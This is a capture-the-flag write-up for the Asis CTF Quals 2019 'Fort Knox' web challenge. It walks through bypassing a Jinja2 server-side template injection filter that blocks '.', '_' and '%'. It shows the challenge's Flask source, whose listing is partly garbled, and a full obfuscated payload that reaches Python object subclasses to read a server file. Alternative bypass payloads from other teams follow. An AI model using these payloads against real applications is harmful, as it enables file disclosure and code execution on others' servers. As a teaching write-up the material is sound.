Thursday, April 25, 2019

Asis CTF Quals 2019 - Fort Knox


Let’s imagine a situation where we are analyzing some application that apparently is vulnerable to Server Side Template Injection (SSTI), but some of our payloads are not returning response, we also suspect that behind all this may have a firewall barring some of our requests.

This was the case of the Fort Knox (WEB) challenge of Asis CTF Quals 2019.

We searched (FireShell Security Team) for topics on the internet that talk about SSTI, but most were pretty much the same, no bypass different to use in this challenge, so we decided to count our way to the flag.



  1. We have an input where we send the payload {{5*5}} and we get the 25 response, then we detect a template injection.
  2. Observing the HTML of the application we find hint <!--Source Code: /static/archive/Source -->
  3. Some answers return empty or with some error message.

As we found the source code, it became easier to understand how your firewall worked.



from flask import Flask, session
from flask_session import Session
from flask import request
from flask import render_template
from jinja2 import Template
import fort
Flask.secret_key = fort.SECKEY
app = Flask(__name__)
app.config['SESSION_TYPE'] = 'filesystem'
app.config['TEMPLATES_AUTO_RELOAD'] = True
def main():
    return render_template("index.html")
@app.route("/ask", methods = ["POST"])
def ask():
    question = request.form["q"]
    for c in "._%":
        if c in question:
            return render_template("no.html", err = "no " + c)
        t = Template(question)
        t.globals = {}
        answer = t.render({
            "history": fort.history(),
            "trustworthy": fort.trustworthy()
        return render_template("no.html", err = "bad")
    return render_template("yes.html", answer = answer)
def door(door):
    if fort.trustworthy():
        return render_template("flag.html", flag = fort.FLAG)
    doorNum = 0
    if door is not None:
        doorNum = int(door)
    if doorNum > 0 and doorNum < 7:
        return render_template("door.html", door = doorNum)
    return render_template("no.html", err = "Door not found!")

In this example, in our payload we can not use the characters ._%


  • {{__class__}} = Error due to _
  • {{ [].class.base.subclasses() }} = Error due to .
question = request.form["q"]
    for c in "._%":
        if c in question:
            return render_template("no.html", err = "no " + c)


Bypassing the underline step by step

When I apply the map filter to a list without passing a function to the map, it returns an error message:

&lt;generator object do_map at 0x7ff6c77ab960&gt;

That is, the idea is to extract that underline that appears in this error message to use in the construction of the payload.

The next step was to convert this message to string, using the string filter and then to list using the list filter and play that list inside another list. In order to access the underline, it was necessary to access the second list through the index zero and then access the underline through its index in the message (20), so the payload was as follows:


[dot] Bypass

Although the attr filter was enough to do the bypass blocking of the dot character, my idea for solving the challenge was to read the file (file imported by the application), so it was necessary to insert a point to build the file name. To do the bypass, it was necessary to use the float filter, which converts a number to floating point, that is, if we pass 1 to the float filter, let’s get 0.1! The remainder follows the same idea of underline bypass (use the string filter, then list, return within a list and access the point through its index).


Final Payload

In order to build the final payload, it was necessary to apply, in addition to the filters already mentioned, the join and attr filters. With the attr filter you can access the attributes of the classes (in the same way as using the dot). The join filter is responsible for transforming a list into a string.

The final payload accesses the File module and reads the file

{{ [[''|attr([[[]|map|string|list][0][20]*2,'class',[[]|map|string|list][0][20]*2]|join)|attr([[[]|map|string|list][0][20]*2,'mro',[[]|map|string|list][0][20]*2]|join)][0][2]|attr([[[]|map|string|list][0][20]*2,'subclasses',[[]|map|string|list][0][20]*2]|join)()][0][40](['fort', [1|float|string|list][0][1], 'py']|join,'r')|attr('read')() }}

What is the same as:

python ''.__class__.__mro__[2].__subclasses__()[40]('', 'r').read()

Flag: ASIS{Kn0cK_knoCk_Wh0_i5_7h3re?_4nee_Ane3,VVh0?_aNee0neYouL1k3!}

Alternatives found by other teams

Some alternative payloads that other teams have used to solve:

Bypassing the filter ._% through ["decode"]("hex")

Bypass by csictf: {{ "".__class__ }} becomes {{""["5F5F636C6173735F5F"["decode"]("hex")]}}

Bypass by Posix: {{__class__}} becomes {{[]['\x5f\x5fclass\x5f\x5f']}}


Post in Portuguese of Brazil

Bug Bounty , Capture the Flag , Web , Writeup